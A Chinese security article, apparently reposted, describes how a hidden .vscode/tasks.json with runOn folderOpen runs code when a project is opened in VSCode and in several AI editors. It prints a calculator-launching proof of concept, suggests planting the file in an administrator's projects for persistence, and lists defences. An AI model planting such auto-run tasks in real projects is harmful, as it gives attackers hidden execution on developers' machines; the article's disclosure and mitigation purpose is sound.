文章总结: 本文揭露利用VSCode任务配置植入后门的技术,打开项目即自动执行代码。该攻击跨平台且影响多款AI编辑器。实测证实其危害,部分编辑器缺乏安全提示。建议关闭自动任务功能并谨慎管理信任,以防御此类权限维持攻击。 综合评分: 85 文章分类: 红队,渗透测试,漏洞POC,终端安全,办公安全
谨防VSCode项目植入后门!
蚁景网安
2026年1月22日 16:31 湖南
以下文章来源于潇湘信安 ,作者3had0w
潇湘信安 .
一个不会编程、挖SRC、代码审计的安全爱好者,主要分享一些安全经验、渗透思路、奇淫技巧与知识总结。
0x00 前言
很早之前有关注到国外有利用 VSCode Tasks (tasks.json任务文件) 这个特性来留后门维持权限或者进行钓鱼、投毒等攻击事件,其实这种方法早在25年6月份左右就有老外发出来了…
最近看到有师傅在分享这个,所以我在本地用之前刚装的VSCode 14.2.231.21进行了简单测试复现了下,暂不确定官方会不会修复这个问题,大家还是注意下吧,别“中招”了…
0x01 后门简述
VSCode允许通过文件自动执行任务tasks.json,攻击者可以利用这一特性,植入一个隐蔽的后门,在VSCode中打开该文件夹时就会执行任意代码。
0x02 影响范围
这种留后门方式不仅影响Windows,同时也影响Linux和macOS,而且只要是基于VSCode二开的编辑器也均受影响,包括目前比较流行的一些AI代码编辑器,如:Cursor、Trae、Kiro、Windsurf、Antigravity等等(已测试),CodeBuddy不行。
0x03 复现测试
复现方法也很简单:新建一个test测试目录,然后在这个目录下再新建一个.vscode/目录,最后在这目录下再新建一个tasks.json文件,直接使用网上他们公布的POC粘贴进去即可。
{ "version": "2.0.0", "tasks": [ { "label": "VS", "type": "shell", "command": "powershell", "args": [ "-WindowStyle", "Hidden", "-Command", "Start-Process calc.exe" ], "problemMatcher": [], "group": { "kind": "build", "isDefault": true }, "runOptions": { "runOn": "folderOpen" }, "presentation": { "echo": false, "reveal": "never", "focus": false, "panel": "dedicated" }, "os": "windows" }, { "label": "VS-OSX", "type": "shell", "command": "open", "args": [ "-a", "Calculator" ], "problemMatcher": [], "group": { "kind": "build" }, "runOptions": { "runOn": "folderOpen" }, "presentation": { "echo": false, "reveal": "never", "focus": false, "panel": "dedicated" }, "os": "osx" }, { "label": "VS-Linux", "type": "shell", "command": "gnome-calculator", "problemMatcher": [], "group": { "kind": "build" }, "runOptions": { "runOn": "folderOpen" }, "presentation": { "echo": false, "reveal": "never", "focus": false, "panel": "dedicated" }, "os": "linux" } ]}
回到我们打开的VSCode窗口,将刚刚新建的test测试目录直接拖进去即可,这里需要等一会,等运行完成后就会弹出计算器了。
或者也可以在test测试目录下新建一个VSCode工作区文件(.code-workspace),内容如下,只要双击打开这个文件也会自动运行并弹出计算器。
{ "folders": [ { "path": "." } ], "settings": {}}
假如在实战中我们可以全盘搜索下这个VSCode工作区文件(.code-workspace),找一个管理员最近或者经常打开的项目,把.vscode/tasks.json文件传上去即可,主要用于权限维持(短期可以,长期可能也不太行。自由发挥吧…!)。
0x04 注意事项
VSCode工作区信任设置默认为untiDismissed,在打开项目时会出现下图弹窗提示,但我个人认为这仅仅只是一个提示,大多数人都不会去检查代码是否安全?基本都是直接点击信任,我之前就是这样~.~(其实也可以选择不信任安全浏览代码的,只是功能上可能会有一些限制)…!
还有就是一般只有在第一次打开某个项目时才会出现这样的信任弹窗提示,但只要我们点击了一次信任后就已经加入了受信任的文件夹和工作区,下次再打开这个时就不会再有这提示了。
另外我在测试中发现有的二开AI代码编辑器阉割了VSCode工作区信任功能,打开项目时不会出现信任弹窗提示,如:Cursor,其他的自行测试!!!
Cursor不能通过VSCode工作区文件打开,只能拖进去,测试了其他几款AI代码编辑器都可以,最后我们使用Cursor重新生成了个工作区文件,原来是和VSCode格式不太一样,多了个MCP配置项。
{ "folders": [ { "path": "." } ], "settings": { "kiroAgent.configureMCP": "Disabled" }}
0x05 安全建议
如果我们用不上自动任务功能,可通过Ctrl+,在设置中搜索Tasks,然后将其选项设置为off即可,这样即使点击了信任工作区也不会再执行后门了。
常用AI代码编辑器自动任务默认选项如下:
VSCode:onCursor:onTrae:onKiro:onWindsurf:onCodeBuddy:offAntigravity:on
工作区信任设置可通过Ctrl+Shift+P,然后搜索“工作区信任”找到,在这里可自行设置工作区信任相关设置以及添加或删除受信任的文件夹和工作区。
0x06 参考文章
Integrate with External Tools via Tasks:
https://code.visualstudio.com/docs/debugtest/tasks#_custom-tasks
Backdooring VSCode Projects:
https://github.com/SaadAhla/VSCode-Backdoor
VSCode Project Multi-Platform Backdoor:
https://lol.systems/blog/vscode-project-multiplatform-backdoor/
Latest Contagious Interview malware campaign abuses Microsoft VSCode Tasks:
https://opensourcemalware.com/blog/contagious-interview-vscode
学习网安实战课程,戳“阅读原文”
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:蚁景网安 《谨防VSCode项目植入后门!》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论